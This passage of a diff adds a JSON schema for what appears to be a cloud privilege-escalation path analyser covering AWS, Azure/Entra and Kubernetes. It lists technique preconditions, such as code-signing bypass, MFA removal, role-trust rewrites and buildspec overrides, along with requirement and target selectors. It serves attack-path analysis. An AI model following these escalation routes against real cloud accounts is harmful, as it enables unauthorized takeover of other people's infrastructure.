"glue_existing_job_has_runnable_trigger", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_user_access_key_capacity", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_notebook_instance_accessible", + "sagemaker_studio_profile_iam_domain_ready", + "service_specific_credential_ready", + "sfn_existing_state_machine_update_and_start", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + "ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "agentcore_new_interpreter_broad_name_and_role_ready", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_swap", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "assumable_role_allows_account_admin", + "batch_new_job_and_ec2_queue_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_spot_fleet_roles_ready", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_existing_task_override_runnable_with_role", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_new_application_startable", + "glue_existing_dev_endpoint_ssh_access", + "glue_existing_job_has_runnable_trigger", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_user_access_key_capacity", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_notebook_instance_accessible", + "sagemaker_studio_profile_iam_domain_ready", + "service_specific_credential_ready", + "sfn_existing_state_machine_update_and_start", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + "ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/aws_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + { + "items": { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "k8s_cluster_admin" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "assigned_to_identity_center_group": { + "const": true, + "description": "Permission set / user is reachable through an Identity Center group assignment (not collected)." + }, + "assumable_by_pivot_role": { + "const": true, + "description": "Role the pivot role ({pivot}, e.g. a StackSet administration role) can assume: its trust admits the pivot role (or its account) and the pivot's identity policy allows sts:AssumeRole on it (trust naming the pivot ARN in the same account suffices). For StackSets, a new or existing self-managed StackSet route must also reach the target account. The pivot itself is excluded; roles in other accounts are included." + }, + "attached_resource_covered_by": { + "description": "The resource carrying the target role ({target.attached_resource_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "aws_cases_tag_self_grant": { + "const": true, + "description": "Reviewed Cases domain tag change unlocking PutCaseEventConfiguration for the source." + }, + "aws_challenge_fact": { + "description": "Exact externally verified technique/source/target evidence from aws_privesc_challenge_evidence. Missing or incomplete evidence is unresolved; a different source or target never matches.", + "type": "string" + }, + "aws_efs_policy_self_grant": { + "const": true, + "description": "Reviewed ClientMount self-grant for the exact EFS file system." + }, + "aws_s3_access_grants_self_grant": { + "const": true, + "description": "Reviewed exact S3 Access Grants session with new READ permission on a bounded prefix." + }, + "aws_s3_policy_self_grant": { + "const": true, + "description": "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix." + }, + "aws_secretsmanager_policy_self_grant": { + "const": true, + "description": "Reviewed GetSecretValue self-grant for the exact IAM user and secret." + }, + "aws_sitewise_portal_self_grant": { + "const": true, + "description": "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity." + }, + "codedeploy_group_instance_role_covered_by": { + "description": "Target role is the instance role of a CodeDeploy deployment group covered by the action (not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_user_pool_covered_by": { + "description": "Target role is mapped by an identity pool to a user pool covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (identity-pool roles not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_user_pool_group_role_covered_by": { + "description": "Target role is the RoleArn of a user-pool group covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (groups not collected).", + "minLength": 1, + "type": "string" + }, + "consumer_input_writable_via": { + "description": "The source can write an input ({target.consumer_input_arn}) consumed by the target workload with the action.", + "minLength": 1, + "type": "string" + }, + "ecs_container_instance_role_in_cluster_covered_by": { + "description": "Target role is the instance role of an ECS container instance or the task role of a task placed on one (dropped when every cluster has 0 container instances; unknown without container-instance/task inventory).", + "minLength": 1, + "type": "string" + }, + "ecs_task_colocated_with_source_container_instance": { + "description": "Value {source.arn}: the source is an EC2 container-instance role and the target task role runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile.", + "type": "string" + }, + "ecs_task_role_on_ec2_capacity": { + "const": true, + "description": "Target role is the taskRoleArn of an EC2/EXTERNAL-capable task definition (or of a running EC2 task) in an account whose ECS clusters have registered container instances; dropped when no such definition exists or every cluster has 0 container instances, conditional without task placement, unknown without task-definition inventory." + }, + "eks_authentication_mode": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "EKS cluster accessConfig.authenticationMode is one of the values (API, API_AND_CONFIG_MAP, CONFIG_MAP); unknown when not collected." + }, + "emr_runtime_role_of_cluster": { + "const": true, + "description": "Role trust names an EC2 instance-profile role used by an EMR cluster with a security configuration (runtime roles); unknown without emr_cluster inventory." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "has_instance_profile": { + "description": "Role is in at least one instance profile (InstanceProfileList).", + "type": "boolean" + }, + "has_login_profile": { + "description": "IAM user has (true) / lacks (false) a console password (LoginProfile detail).", + "type": "boolean" + }, + "instance_profile_name_prefix_or_path": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "One of the role's instance profiles has a name starting with the value, or (values starting with '/') a path containing it." + }, + "name_prefix": { + "description": "Role name (and instance-profile name) starts with the value.", + "type": "string" + }, + "org_member_account": { + "const": true, + "description": "Target belongs to an operational organization member account (not the management account); unknown without organization_account." + }, + "portfolio_of_target_product_covered_by": { + "description": "Target role is the launch-constraint role of a Service Catalog product in a portfolio ({target.portfolio_arn}); unknown without servicecatalog_portfolio inventory.", + "minLength": 1, + "type": "string" + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "rolesanywhere_profile_includes_target": { + "const": true, + "description": "Target role is listed in an IAM Roles Anywhere profile ({target.rolesanywhere_profile_arn}, accepting {target.trust_anchor_arn}); dropped when the account's rolesanywhere_trust_anchor inventory is collected and empty, otherwise unknown (profiles not collected)." + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "service_plane": { + "description": "aws_service_plane_admin: the managed service whose application plane is administered (amplifybackend|connect|grafana|quicksight|scn; IAM service prefix).", + "enum": [ + "amplifybackend", + "connect", + "grafana", + "quicksight", + "scn" + ] + }, + "source_attached_policy_covered_by": { + "description": "A customer-managed policy attached to the source ({source.attached_policy_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "source_group_covered_by": { + "description": "Source is a member of an IAM group ({source.group_arn}) on which it holds the action.", + "minLength": 1, + "type": "string" + }, + "source_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Technique only applies when the source principal is of this kind." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_emr_containers_oidc": { + "const": true, + "description": "Role trusts an EKS OIDC provider with a sub condition on emr-containers-sa-* service accounts (EMR on EKS execution role)." + }, + "trust_allows_federated": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy allows Principal.Federated equal to the value (e.g. cognito-identity.amazonaws.com)." + }, + "trust_allows_oidc_provider_covered_by": { + "description": "Role trusts an IAM OIDC provider ({target.oidc_provider_arn}); the entry's requirements on that ARN carry the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_principal_of_source": { + "const": true, + "description": "Role trust policy allows the source principal ARN, the source account (root/ID) or '*'." + }, + "trust_allows_principal_org": { + "const": true, + "description": "Role trust allows Principal '*' restricted by aws:PrincipalOrgID / aws:PrincipalOrgPaths, satisfied by an account of the snapshot's organization (unknown without the organization id)." + }, + "trust_allows_saml_provider_covered_by": { + "description": "Role trusts a SAML provider ({target.saml_provider_arn}) on which the source holds the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy has an Allow for sts:AssumeRole* whose Principal.Service includes the value." + }, + "trust_federated_provider_missing": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trusts a SAML ('saml') or OIDC ('oidc') provider ARN of its own account that does not exist (iam_saml_provider / iam_oidc_provider inventory; unknown when not collected)." + }, + "via_artifact_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role's workload consumes an artifact ({target.artifact_arn}) of that type; artifact consumers are not collected (unknown)." + }, + "via_assumable_role_attached_policy_covered_by": { + "description": "An assumable same-account role becomes admin after the source creates a default version of an attached customer policy.", + "minLength": 1, + "type": "string" + }, + "via_assumable_role_covered_by": { + "description": "The source can assume a role on which it also holds the action (two-step self-escalation).", + "minLength": 1, + "type": "string" + }, + "via_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role is attached to an existing resource of that type ({target.resource_arn}); lambda_function, ec2_instance, codebuild_project, glue_job, redshift_cluster, rds_db_instance, sagemaker_notebook_instance and redshift_serverless_workgroup are collected, other types are unknown when the role trusts the type's service (imagebuilder_pipeline: ec2.amazonaws.com)." + } + }, + "type": "object" + } + } + } + } + }, + "azure_conjunction": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "minItems": 1, + "type": "array" + }, + "azure_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/azure_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/azure_item" + }, + { + "$ref": "#/$defs/azure_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "azure_item": { + "anyOf": [ + { + "$ref": "#/$defs/azure_requirement" + }, + { + "$ref": "#/$defs/azure_group" + } + ] + }, + "azure_requirement": { + "additionalProperties": false, + "dependentRequired": { + "catalog": [ + "entra_catalog_role" + ], + "entra_owner_of": [ + "object_type" + ], + "fabric_workspace": [ + "fabric_workspace_role" + ], + "object_type": [ + "entra_owner_of" + ] + }, + "oneOf": [ + { + "not": { + "anyOf": [ + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "action" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "graph_app_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_owner_of" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_tenant_setting" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_group_member" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "fabric_workspace_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "intune_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + } + ] + }, + "required": [ + "entra_catalog_role" + ] + } + ], + "properties": { + "action": { + "description": "ARM action (or dataAction with data_action: true).", + "minLength": 1, + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "catalog": { + "description": "Catalog id, '{target.catalog}' or '*'.", + "type": "string" + }, + "data_action": { + "type": "boolean" + }, + "directory_scope": { + "type": "string" + }, + "entra_catalog_role": { + "description": "Entitlement-management catalog role (display name or role definition id).", + "minLength": 1, + "type": "string" + }, + "entra_group_member": { + "description": "Source is a (transitive) member of the Entra group (display name or object id).", + "minLength": 1, + "type": "string" + }, + "entra_owner_of": { + "minLength": 1, + "type": "string" + }, + "entra_permission": { + "description": "microsoft.directory/... permission.", + "minLength": 1, + "type": "string" + }, + "entra_pim_eligible_role": { + "minLength": 1, + "type": "string" + }, + "entra_role": { + "description": "Entra directory role (name or template id).", + "minLength": 1, + "type": "string" + }, + "entra_tenant_setting": { + "enum": [ + "guest_invites_allowed_for_source" + ] + }, + "fabric_workspace": { + "description": "Fabric workspace id, '{target.host_resource}' or '*'.", + "type": "string" + }, + "fabric_workspace_role": { + "description": "Fabric workspace role at least as strong as this one.", + "enum": [ + "Admin", + "Member", + "Contributor", + "Viewer" + ] + }, + "graph_app_permission": { + "description": "Microsoft Graph application permission.", + "minLength": 1, + "type": "string" + }, + "intune_permission": { + "description": "Intune RBAC resource action (e.g. Microsoft.Intune_DeviceConfigurations_Assign).", + "minLength": 1, + "type": "string" + }, + "notes": { + "type": "string" + }, + "object_type": { + "enum": [ + "application", + "servicePrincipal", + "group" + ] + }, + "scope": { + "description": "ARM scope / Entra directory scope ('*' = any).", + "type": "string" + } + }, + "type": "object" + }, + "azure_technique": { + "properties": { + "id": { + "pattern": "^(azure|entra)-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/azure_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "azure_member_user": { + "description": "Source is a directory user whose collected userType is Member; absent or Guest userType does not satisfy this selector.", + "type": "boolean" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "source_reaches_user_outside_target_group": { + "const": true, + "description": "The chain must reach an enabled user who is not already a member of the target group." + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "entra_group", + "entra_role", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + 